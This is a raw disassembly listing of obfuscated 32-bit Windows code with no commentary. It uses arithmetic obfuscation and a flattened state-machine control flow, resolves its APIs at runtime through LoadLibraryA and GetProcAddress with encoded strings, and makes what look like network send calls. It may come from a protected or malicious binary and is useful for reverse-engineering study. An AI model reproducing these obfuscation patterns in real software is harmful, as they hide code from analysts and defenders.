lea eax, [esi + ebp*2]
add eax, 0xfffffffe
mov esi, 0x217fa7c5
sub esi, ebp
lea ecx, [esi + eax]
add ecx, 2
mov eax, 0xcff68850
sub eax, ebx
and eax, ecx
lea eax, [eax + ebx*2]
add eax, 0x6012ef5e
lea edx, [ebx + 0x300977af]
add eax, ecx
or edx, ecx
sub eax, edx
or esi, 0x300977ae
mov ecx, esi
sub ecx, dword [esp + 0x18]
not esi
add esi, ecx
lea ecx, [esi + ebp]
add ecx, 0xde80583a
add ecx, eax
imul eax, ecx, 0xd4f8e16b
mov ecx, 0x2b071e94
sub ecx, eax
and ecx, 0xb629a95f
add ecx, eax
add ecx, 0xd4f8e16b
add eax, 0xd4f8e16b
or eax, 0x49d656a0
add eax, ecx
imul ecx, edi, 0xe33eba7
imul eax, eax, 0x711a4343
add eax, 0x711a4343
or eax, ecx
imul eax, eax, 0x17e841a7
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7ae5b89c
add edx, eax
and ecx, 0x851a4763
add ecx, edx
xor eax, 0x7ae5b89c
add eax, ecx
imul ecx, eax, 0xc5cc5617
mov eax, 0x3a33a9e8
sub eax, ecx
mov edx, eax
and edx, 0x300977ae
add edx, ecx
or eax, 0x300977ae
add eax, edx
add ecx, 0xc5cc5617
xor ecx, 0x300977ae
not eax
lea esi, [ecx + eax]
lea edx, [ecx + eax]
add edx, 0x6a3d2197
add eax, ecx
add eax, 0x2daced88
lea ecx, [esi + esi]
add ecx, 0xd47a432e
mov edi, 0x7920681c
sub edi, ecx
and edi, 0x7920681e
lea ecx, [edi + esi]
add ecx, 0x6a3d2197
mov esi, eax
or eax, 0xc36fcbf0
add eax, ecx
add eax, edx
or esi, 0x3c90340f
sub esi, eax
imul eax, esi, 0xadfdfc01
add eax, 0x38ae72bd
imul edx, eax, 0xa2120401
imul eax, eax, 0xbbdbf7fe
mov ecx, dword [esp + 0x40]
add eax, ecx
add eax, 0x22270f4e
add eax, edx
add edx, 0x9ecccd51
mov esi, dword [esp + 0x14]
mov ecx, esi
xor ecx, edx
add ecx, eax
add ecx, 0x613332af
mov eax, esi
mov ebx, esi
or eax, edx
mov esi, eax
not esi
mov edi, ecx
not edi
and edi, eax
sub esi, edi
or eax, ecx
add eax, esi
and edx, ebx
lea esi, [edx + eax]
add eax, edx
add eax, 0xf552c551
mov ecx, eax
xor ecx, 0xf552c54f
add ecx, esi
not eax
mov edx, 0xaad3aae
sub edx, esi
or edx, 0xaad3ab0
sub ecx, edx
or eax, 0xf552c54f
lea edx, [ecx + eax]
mov dword [esp + 0x18], edx
add eax, ecx
add eax, 0xaad3ab2
mov dword [esp + 0x20], eax
mov eax, 0x390845ad
mov ecx, dword [esp + 0x30]
sub eax, ecx
add ecx, 0xc6f7ba52
and ecx, 0xc4e25378
lea edx, [ecx + eax*2]
or eax, 0xc4e25378
sub edx, eax
add edx, 0xc4e25378
mov ecx, dword [esp + 8]
imul eax, ecx, 0xdb2e2219
mov esi, eax
not esi
imul edi, ecx, 0xb65c4432
and esi, 0xf1f60150
add esi, edi
or eax, 0xf1f60150
sub esi, eax
imul eax, esi, 0x88161a29
add eax, 0x1e819007
mov esi, eax
or esi, 0xe17e6ff9
or eax, 0x1e819006
lea edi, [esi + eax]
lea ebx, [esi + eax]
add ebx, 0xe17e6ffa
mov esi, ebx
not esi
mov eax, edx
and eax, esi
lea edi, [edi + eax*2]
add edi, 0xe17e6ffa
mov ebp, edx
not ebp
mov eax, ebx
and eax, ebp
or ebp, ebx
sub ebp, eax
lea ecx, [edi + ebp*2]
add ecx, 2
add ebp, 1
mov eax, edi
or eax, ebp
not edi
or edi, ebp
add edi, eax
not edi
add edi, ecx
mov eax, edx
xor eax, ebx
not eax
mov ebp, edx
or ebp, ebx
lea eax, [eax + ebp*2]
and ebx, edx
not ebx
lea ecx, [eax + ebx]
add ebx, eax
add ebx, 2
mov eax, 0xfffffffd
sub eax, ecx
mov ecx, edi
and ecx, eax
add ecx, edi
add ecx, ebx
xor ebx, edi
not ebx
add ebx, ecx
or eax, edi
sub ebx, eax
mov eax, ebp
not eax
lea eax, [eax*2]
add eax, ebp
lea ecx, [eax + ebx]
add eax, ebx
add eax, 1
or esi, edx
mov edx, esi
neg edx
mov edi, eax
not edi
and edi, edx
lea ecx, [edi + ecx*2]
add ecx, 2
or edx, eax
add edx, esi
not ecx
add ecx, edx
imul eax, ecx, 0xd8f5d26f
imul ecx, ecx, 0x4e145b22
add ecx, eax
add ecx, 0xe28f5e7e
imul edx, ecx, 0x878e3371
mov eax, edx
not eax
imul ecx, ecx, 0xf1c66e2
and eax, 0x6cffcf9d
add eax, ecx
or edx, 0x6cffcf9d
sub eax, edx
lea ecx, [eax - 0x6cffcf9e]
lea edx, [eax + eax]
add edx, 0x260060c4
not ecx
mov esi, edx
and esi, ecx
lea eax, [esi + eax*2]
add eax, 0x260060c4
not edx
and edx, ecx
add edx, eax
mov eax, edx
and eax, 1
add eax, edx
mov esi, edx
xor esi, 1
add esi, eax
or edx, 1
sub esi, edx
mov edx, 0x4cbf70b4
sub edx, esi
sub edx, esi
add esi, 0xd9a047a5
mov eax, esi
and eax, 0xd9a047a3
lea ecx, [esi + esi*2]
and edx, 0x4cbf70b8
add edx, ecx
or esi, 0x265fb85c
add esi, eax
sub edx, esi
mov esi, edx
not esi
lea eax, [edx + esi*2]
mov ecx, eax
not ecx
sub ecx, edx
add ecx, esi
lea edi, [eax + ecx]
lea ebx, [eax + ecx]
add ebx, 1
mov eax, ebx
and eax, edx
lea eax, [edi + eax*2]
add eax, 1
lea eax, [eax + esi*2]
mov edi, ebx
not edi
and edi, edx
add edi, eax
mov eax, ebx
xor eax, esi
or ebx, edx
add ebx, eax
sub edi, ebx
mov eax, edi
and eax, edx
add edi, eax
add edi, edx
sub edi, eax
lea eax, [esi + edx*2]
lea ecx, [eax + edi]
add eax, edi
add eax, 2
mov esi, 0xfffffffe
sub esi, ecx
mov edx, esi
and edx, eax
add ecx, edx
add ecx, 2
mov edx, eax
not edx
or edx, esi
xor esi, eax
add esi, ecx
add edx, esi
add edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 1
add ecx, edx
xor edx, 0xfffffffe
add edx, ecx
or eax, 1
sub edx, eax
imul eax, edx, 0xec0167fb
lea ecx, [eax - 0x13fe9805]
mov edx, ecx
or edx, 0xa5f51a7c
not ecx
or ecx, 0xa5f51a7c
add ecx, edx
not ecx
add eax, ecx
add eax, 0xec0167fb
imul eax, eax, 0x96598b33
lea ecx, [eax + 0x4a33568]
mov edx, ecx
not edx
mov esi, ecx
or esi, 0xfdae654c
add eax, esi
add eax, 0x4a33568
xor ecx, 0x2519ab3
add ecx, eax
or edx, 0x2519ab3
add edx, ecx
mov eax, 0x2519ab2
sub eax, edx
mov ecx, dword [esp + 0x18]
add ecx, eax
add ecx, 0xaad3ab2
mov esi, dword [esp + 0x20]
mov edx, esi
xor edx, eax
add edx, ecx
mov ecx, esi
or ecx, eax
not ecx
add ecx, edx
and eax, esi
lea edx, [eax + ecx]
add eax, ecx
add eax, 0x800406d3
or eax, 0x7ffbf92e
add eax, edx
mov ecx, 0x7ffbf92c
sub ecx, edx
or ecx, 0x7ffbf92e
add ecx, eax
imul eax, ecx, 0x1fb081bf
lea ecx, [eax - 0x17ce13d4]
mov edx, ecx
or edx, 0xf3da7dd3
add eax, edx
add eax, 0xe831ec2c
mov edx, ecx
xor edx, 0xc25822c
add edx, eax
not ecx
or ecx, 0xc25822c
add ecx, edx
imul eax, ecx, 0xec09bd31
lea ecx, [eax - 0x181f32]
and ecx, 0xb90b6013
add eax, ecx
add eax, 0xffe7e0ce
xor ecx, 0xb90b6013
add ecx, eax
imul eax, ecx, 0x5f067bd1
mov ecx, eax
and ecx, 0x291b6f7d
add ecx, eax
mov edx, eax
xor edx, 0x291b6f7d
add edx, ecx
or eax, 0x291b6f7d
sub edx, eax
lea ecx, [edx + 0x291b6f7d]
mov eax, ecx
not eax
and eax, 0xb91ef441
lea eax, [eax + edx*2]
add eax, 0x5236defa
or ecx, 0xb91ef441
sub eax, ecx
lea ecx, [eax - 0x12bb8e]
mov edx, 0x12bb8d
sub edx, eax
and edx, 0xb931afcf
add edx, eax
add edx, 0xb91ef441
or ecx, 0xb931afcf
sub edx, ecx
sub edx, ecx
add edx, ecx
lea ecx, [eax + edx]
add ecx, 0xb91ef441
add eax, edx
add eax, 0xffed4472
mov edx, 0xb931afce
sub edx, ecx
and edx, 0xf3da7dd4
add ecx, edx
add ecx, 0x46ce5031
mov edx, eax
or edx, 0xc25822b
add edx, ecx
add edx, 0xf3da7dd5
mov ecx, eax
xor ecx, 0xf3da7dd4
mov esi, edx
and esi, ecx
add esi, ecx
xor ecx, edx
add ecx, esi
mov edi, eax
xor edi, 0xc25822b
or edi, edx
lea esi, [ecx + edi]
lea ebx, [edi + ecx]
add ebx, 1
mov ecx, eax
or ecx, 0xf3da7dd4
mov edx, ecx
not edx
mov edi, ebx
not edi
and edi, edx
xor edx, ebx
and ebx, ecx
add esi, ebx
add esi, 1
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add edi, esi
and eax, 0xf3da7dd4
mov esi, eax
not esi
lea eax, [eax + esi*2]
sub ecx, edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
not esi
add ecx, edx
mov edx, ecx
and edx, esi
add edx, eax
or ecx, esi
add ecx, edx
add ecx, eax
mov eax, 0xfffffffd
sub eax, ecx
imul ecx, eax, 0xf8306e3f
imul eax, eax, 0xf060dc7e
mov edx, ecx
not edx
mov esi, edx
and esi, 0xa24d48a8
add esi, eax
or ecx, 0x5db2b757
add ecx, esi
add ecx, edx
imul ecx, ecx, 0x7e234bf9
lea eax, [ecx + 0x1cb37b5a]
mov edx, eax
and edx, 0x2f95e727
mov esi, 0xe34c84a5
sub esi, ecx
and esi, 0xd06a18d8
or esi, edx
mov ecx, eax
or ecx, 0x2f95e727
add ecx, esi
and eax, 0xd06a18d8
add eax, ecx
imul eax, eax, 0xc438649
lea ecx, [eax + 0xc438649]
lea edx, [ecx + ecx*2]
and ecx, 0x1fc209fe
shl ecx, 2
sub edx, ecx
add eax, eax
add eax, 0x18870c92
xor eax, 0xc07bec02
add eax, edx
imul edx, eax, 0x7079c27d
lea eax, [edx + 0x56d91f83]
mov ecx, eax
mov esi, eax
and esi, 0x70aade4c
add edx, esi
add edx, 0x56d91f83
and eax, 0x8f5521b3
mov esi, eax
xor esi, 0x8f5521b3
add esi, edx
not ecx
and ecx, 0x70aade4c
add ecx, esi
mov esi, dword [esp + 0x4c]
add ecx, eax
imul ecx, ecx, 0xd4cdb389
lea eax, [ecx + 0x326afd41]
mov edx, eax
xor edx, 0xf2c273a9
add edx, ecx
mov ecx, eax
not ecx
and ecx, 0xd3d8c56
add ecx, edx
and eax, 0xf2c273a9
add eax, ecx
imul eax, eax, 0x46ee49ed
mov byte [eax - 0x515fb7e6], 0
add eax, 0xaea0481a
mov dword [esp + 8], eax
mov eax, dword [esp + 0x5c]
push 0x10091913
push dword [esp + 0x20]
call eax
test eax, eax
mov eax, 0x5794e924
mov ecx, 0xb5320e57
cmove eax, ecx
jmp 0x1006c7ca
cmp edx, 0xc690bd97
jg 0x1006b83e
cmp edx, 0xc617cf81
je 0x1006bd76
cmp edx, 0xc646d147
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x7db17a58
mov edx, 0x57024a1
mov ebp, 0x5c51f4fc
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x7e1ae05d
jg 0x1006b871
cmp edx, 0x7b4cb555
je 0x1006bd91
cmp edx, 0x7ca08c42
jne 0x10067d20
lea eax, [esp + 0xa4]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0x98], eax
push 0x10091907
call edi
push 0x100918fe
push eax
call ebx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
push str._I_s
push dword [esp + 0x3c]
call eax
mov dword [esp + 0x6c], eax
cmp dword [esp + 0x6c], 0
mov eax, 0x227c9fbd
jmp 0x1006b997
cmp edx, 0xce163dcc
jle 0x1006b8d0
cmp edx, 0xce163dcd
je 0x1006bdac
cmp edx, 0xcf19ba81
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xe4364b35
mov edx, 0xdc49e401
mov ebp, 0xf2826ce8
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xff326c08
je 0x1006bdc7
cmp edx, 0x13364c0
je 0x1006bde2
cmp edx, 0x1a411fd
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x586dba12
mov edx, 0x57024a1
mov ebp, 0xe59b14a2
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x879ca82e
je 0x1006bdfb
cmp edx, 0x87e7e31e
je 0x1006be16
cmp edx, 0x88125c0b
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x3f97a38f
mov edx, 0x57024a1
mov ebp, 0x5de03679
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x450309aa
je 0x1006be31
cmp edx, 0x46e30de2
je 0x1006be4c
cmp edx, 0x470e28fd
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x56f09ffd
mov edx, 0x57024a1
mov ebp, 0x713309ac
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0xde7471d2
je 0x1006be67
cmp edx, 0xdec515da
je 0x1006be97
cmp edx, 0xe2342c68
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xd647aaad
mov edx, 0x450309aa
mov ebp, 0x595e0f77
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x2416afdd
je 0x1006bea6
cmp edx, 0x2614d117
je 0x1006bebf
cmp edx, 0x2715c415
jne 0x10067d20
mov eax, dword [esp + 0x28]
push 0
push 0x13
push str.OSSW_6_6577HL_n_r_n_r_a6____6j__D
push esi
call eax
jmp 0x1006c588
cmp edx, 0xa3571ff8
je 0x1006beda
cmp edx, 0xa3e35097
je 0x1006bef5
cmp edx, 0xa41a1ff4
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xb5320e57
mov ecx, 0x45d9dfa6
mov edx, 0x648f0208
jmp 0x10067d0f
cmp edx, 0x5cd41be0
je 0x1006bf10
cmp edx, 0x5de03679
je 0x1006bf29
cmp edx, 0x5e1c6c68
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x582281b1
mov edx, 0x17f598a5
mov ebp, 0x470e28fd
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xd2308d35
je 0x1006af94
cmp edx, 0xd37375d8
je 0x1006bf42
cmp edx, 0xd50142fc
je 0x1006c7ca
jmp 0x10067d20
cmp edx, 0x14a9344d
je 0x1006bf5d
cmp edx, 0x14cf05e8
je 0x1006bf78
cmp edx, 0x17f598a5
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x582281b1
mov edx, 0x57024a1
mov ebp, 0xc2f312f0
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x991dc97b
je 0x1006bf93
cmp edx, 0x9a584787
je 0x1006bfae
cmp edx, 0x9c000144
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x60ccad66
mov edx, 0x430eb32
mov ebp, 0x482f4458
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x515fee22
je 0x1006bfc9
cmp edx, 0x516f49e6
je 0x1006c2af
cmp edx, 0x52152bfe
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x7dd0758b
mov edx, 0x6f51afc1
mov ebp, 0xc646d147
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xf3622284
je 0x1006c2c8
cmp edx, 0xf37237ae
je 0x1006c2e3
cmp edx, 0xf54bbd28
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xade8bedf
mov edx, 0x57024a1
mov ebp, 0xa41a1ff4
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x35f5ab32
je 0x1006c2fe
cmp edx, 0x36bcdc65
je 0x1006c319
cmp edx, 0x37ad8c19
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x32f88ed2
mov edx, 0x95b0e934
mov ebp, 0xc8b88178
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xb182aae6
je 0x1006c332
cmp edx, 0xb22929fc
je 0x1006c34d
cmp edx, 0xb5865887
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x4e869ce1
mov edx, 0x57024a1
mov ebp, 0xf556e1c8
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x6c5be79e
je 0x1006c368
cmp edx, 0x6d45af82
je 0x1006c383
cmp edx, 0x6dbd34d3
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xbe6216ef
mov ecx, 0x45d9dfa6
mov edx, 0xf0d2635c
jmp 0x10067d0f
cmp edx, 0xc87a60f1
je 0x1006c39e
cmp edx, 0xc8b88178
je 0x1006c3b9
cmp edx, 0xc94054d3
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xdb41ffb2
mov edx, 0xcb69ec5e
mov ebp, 0x58d8caca
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x57024a1
je 0x1006c3d4
cmp edx, 0x7369977
je 0x1006c3de
cmp edx, 0x9d5ff76
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x5a1f70d7
mov ecx, 0xd597877a
mov edx, 0xdb41ffb2
jmp 0x1006c8a3
cmp edx, 0x8ade6a5a
je 0x1006c40c
cmp edx, 0x8dc95556
je 0x1006c427
cmp edx, 0x8de7dbda
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xcfce6699
mov edx, 0x57024a1
mov ebp, 0x13364c0
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x4cb3d319
je 0x1006c442
cmp edx, 0x4d4b39a4
je 0x1006c45d
cmp edx, 0x4e292e2f
jne 0x10067d20
mov eax, dword [esp + 0x28]
push 0
push 0x3f
push 0x10091a41
jmp 0x1006b8b1
cmp edx, 0xee28142d
je 0x1006c478
cmp edx, 0xee7318fc
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x5d4e4e55
mov edx, 0x57024a1
mov ebp, 0xa0db0cad
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x32650c3b
je 0x1006c482
cmp edx, 0x3295c5f7
jne 0x10067d20
lea eax, [esp + 0x9c]
mov dword [esp + 0x8c], eax
push 0x100918da
call edi
push 0x10091918
push eax
call ebx
mov dword [esp + 0x90], eax
mov ecx, 0x422e24fb
mov dword [esp + 0xc], 0
mov eax, 0xb5320e57
mov edx, dword [esp + 0x1c]
mov dword [esp + 8], edx
mov edx, 0x3b336def
jmp 0x10067d20
cmp edx, 0xaa70b8f7
je 0x1006c49d
cmp edx, 0xae22d208
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x5794e924
mov ecx, 0x64d57466
mov edx, 0x321098d2
jmp 0x1006c8a3
cmp edx, 0x6383a2ad
je 0x1006c4b8
cmp edx, 0x654da61a
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x3f97a38f
mov edx, 0x88125c0b
mov ebp, 0x6021a2d2
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xdbb5faba
je 0x1006c4d1
cmp edx, 0xdc3e4d11
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1d5e18ec
mov edx, 0x57024a1
mov ebp, 0x36bcdc65
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x207465db
je 0x1006b8a4
cmp edx, 0x208b9d10
jne 0x10067d20
mov dword [esp + 4], eax
mov ecx, 0x4238a089
mov edx, 0x3b336def
jmp 0x10067d20
cmp edx, 0xa059a67e
je 0x1006c4ea
cmp edx, 0xa05f9c22
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x32f88ed2
mov edx, 0x57024a1
mov ebp, 0xf9e242ac
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x58d8caca
je 0x1006c503
cmp edx, 0x595e0f77
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xcfce6699
mov edx, 0x595e1737
mov ebp, 0x7b4cb555
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xf9af8757
je 0x1006c51e
cmp edx, 0xf9e242ac
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x24a6d4
mov ecx, 0x5d96001b
mov edx, 0x3f97a38f
jmp 0x1006c8a3
cmp edx, 0x3eda9718
je 0x1006c539
cmp edx, 0x3fd836a0
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xb127649f
mov edx, 0x32650c3b
mov ebp, 0xa0bd9e3d
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xc563b705
je 0x1006c552
cmp edx, 0xc5784c0e
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xbe0dc565
mov ecx, 0x45d9dfa6
mov edx, 0xd8cae42f
jmp 0x10067d0f
cmp edx, 0x7a532d26
je 0x1006c56d
cmp edx, 0x7a88c046
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xd3eece87
mov edx, 0x57024a1
mov ebp, 0x7369977
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0xd127d126
je 0x1006c5a4
cmp edx, 0xd14439c5
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x755511
mov edx, 0x2102b5e8
mov ebp, 0xb182aae6
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x430eb32
je 0x1006c5bf
cmp edx, 0x4998580
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x8637d1ed
mov edx, 0x57024a1
mov ebp, 0x3384dca0
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x89482fee
je 0x1006c5da
cmp edx, 0x8a668715
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x43efc599
mov edx, 0x57024a1
mov ebp, 0x6dbd34d3
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x49509362
je 0x1006c5f3
cmp edx, 0x4aa6f8aa
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x8b1f1e2d
mov edx, 0x4486d791
mov ebp, 0xfb3db6f3
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xe59b14a2
je 0x1006c60e
cmp edx, 0xec67bb0b
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x79482892
mov edx, 0xafbbec95
mov ebp, 0x5340eee2
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x2f218331
je 0x1006c627
cmp edx, 0x2fbe71eb
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x85b9a18d
mov edx, 0x9f3583cc
mov ebp, 0xe4f6f4c6
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xa5878443
je 0x1006c640
cmp edx, 0xa62aaedd
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x79574bf0
mov edx, 0x57024a1
mov ebp, 0xee0ec37f
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x5f597737
je 0x1006c65b
cmp edx, 0x5f676632
jne 0x10067d20
mov eax, dword [esp + 0x44]
mov dword [esp + 0x70], eax
push 0x100918da
call edi
push 0x100918d0
push eax
call ebx
push dword [esp + 0x70]
call eax
mov dword [esp + 0x50], eax
cmp eax, 0xffffffff
mov eax, 0xa3825e0
mov ecx, 0x8f9d714
cmove eax, ecx
jmp 0x1006c7ca
cmp edx, 0xd77dbe89
je 0x1006c676
cmp edx, 0xd7ea0605
jne 0x10067d20
mov dword [esp], ecx
mov edx, 0xcd6a3c1f
jmp 0x10067d20
cmp edx, 0x198c17b3
je 0x1006c691
cmp edx, 0x19bddb07
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x20268ba0
mov edx, 0xde729723
mov ebp, 0xd77dbe89
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x9e0c0852
je 0x1006c6ac
cmp edx, 0x9f3583cc
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x85b9a18d
mov edx, 0x57024a1
mov ebp, 0x14a8cf9f
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x5340eee2
je 0x1006c6c7
cmp edx, 0x5372273e
jne 0x10067d20
mov eax, dword [esp + 0x28]
push 0
push 0x8c
push 0x10091b0a
jmp 0x1006b8b1
cmp edx, 0xf61a22c4
je 0x1006c6e2
cmp edx, 0xf62777b5
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x65ba9e81
mov edx, 0x35dd162b
mov ebp, 0xd82ec511
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x3bb8896c
je 0x1006c6fd
cmp edx, 0x3bf8ad09
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x23f890b0
mov edx, 0x57024a1
mov ebp, 0x5294ae0d
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0xbc189491
je 0x1006c710
cmp edx, 0xbc4e5ea7
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xc16e9986
mov ecx, 0x45d9dfa6
mov edx, 0x582281b1
jmp 0x10067d0f
cmp edx, 0x6fa97887
je 0x1006c72b
cmp edx, 0x713309ac
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x17a9c906
mov ecx, 0xcba850ee
mov edx, 0xcfce6699
jmp 0x1006c8a3
cmp edx, 0xcc23272a
je 0x1006c746
cmp edx, 0xccf0794b
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x4c92bc4f
mov edx, 0x18ff124e
mov ebp, 0xca9856f1
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x12d82e93
je 0x10067cfb
cmp edx, 0x14a8cf9f
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x69feef85
mov ecx, 0xe41e3861
mov edx, 0x79482892
jmp 0x1006c8a3
cmp edx, 0x96f03467
je 0x1006c75f
cmp edx, 0x98627307
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xadc81f5c
mov edx, 0xf3622284
mov ebp, 0xa2bdbffa
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x50d69587
je 0x1006c778
cmp edx, 0x50ef125d
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x86ea452a
mov edx, 0x2614d117
mov ebp, 0x4998580
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xf11da424
je 0x1006c793
cmp edx, 0xf2826ce8
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xe41e3861
mov edx, 0x57024a1
mov ebp, 0x2146426f
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x342026e8
je 0x1006c7ae
cmp edx, 0x35dd162b
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x71c52f1a
mov edx, 0xb22929fc
mov ebp, 0xbc189491
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xb084cb0a
je 0x1006c7d9
cmp edx, 0xb0e08525
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xd647aaad
mov edx, 0x57024a1
mov ebp, 0x2f218331
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x68097c42
je 0x1006c7f2
cmp edx, 0x68bd91fc
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xce0213e5
mov edx, 0xeff38f2c
mov ebp, 0x98627307
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xdd1c4cab
je 0x1006c80d
cmp edx, 0xde729723
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x20268ba0
mov edx, 0x57024a1
mov ebp, 0x207465db
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x21d035d1
je 0x1006c828
cmp edx, 0x23ccbfd3
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x4eebfbf4
mov edx, 0x21d035d1
mov ebp, 0x6795dcd2
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xa279eeb4
je 0x1006c843
cmp edx, 0xa2bdbffa
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x86f2f3b8
mov edx, 0x3e9b327
mov ebp, 0xa3571ff8
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x5a65d6c1
je 0x1006c85e
cmp edx, 0x5c51f4fc
jne 0x10067d20
mov eax, dword [esp + 0x48]
mov byte [eax], 0
push 0x10091907
call edi
push str.ZzAg_Zo.1___VHWIYMIIY_
push eax
call ebx
mov ecx, dword [esp + 0x48]
add ecx, 1
push ecx
call eax
mov word [esp + 0x96], ax
mov ecx, 0x422e24fb
mov eax, 0xa56ec294
jmp 0x1006bbb4
cmp edx, 0xfc7ac5ab
je 0x1006c879
cmp edx, 0xfeccc08b
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x2402c44b
mov ecx, 0x45d9dfa6
mov edx, 0xe03b48d1
jmp 0x10067d0f
cmp edx, 0x445687c5
je 0x1006c88f
cmp edx, 0x4486d791
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x8b1f1e2d
mov edx, 0x57024a1
mov ebp, 0x50301774
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0xc690bd98
je 0x1006c8b0
cmp edx, 0xc69e18c5
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x43080587
mov edx, 0x52d9c2f4
mov ebp, 0xff326c08
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x7e1ae05e
je 0x1006c8cb
cmp edx, 0x7fb65376
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x64d57466
mov edx, 0x57024a1
mov ebp, 0xa56471a0
cmove edx, ebp
jmp 0x10067d20
mov eax, dword [esp + 0x28]
push 0
push 0x3f
push 0x10091a81
push esi
call eax
mov ecx, 0x422e24fb
mov dword [esp + 0x24], 0xffffffff
mov eax, 0x14861af1
mov edx, 0x3b336def
jmp 0x10067d20
